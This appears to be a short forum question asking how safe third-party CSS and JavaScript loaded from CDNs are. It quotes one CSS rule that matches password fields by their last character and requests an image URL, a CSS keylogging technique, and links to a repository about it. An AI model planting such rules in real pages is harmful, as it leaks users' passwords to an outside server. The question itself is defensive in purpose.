How safe are CSS and JS contents delivered from CDN?

If you are developing a website containing CSS and JS (more likely than not) What is the best way to deal with3rd party libraries coming from CDN? Considering that: input[type="password"][value$="a"] { background-image: url("http://localhost:/a"); } Simple CSS innocent looking line can (and has been used) to utilize and initiate a keylogger? More info on https://github.com/maxchehab/CSS-Keylogging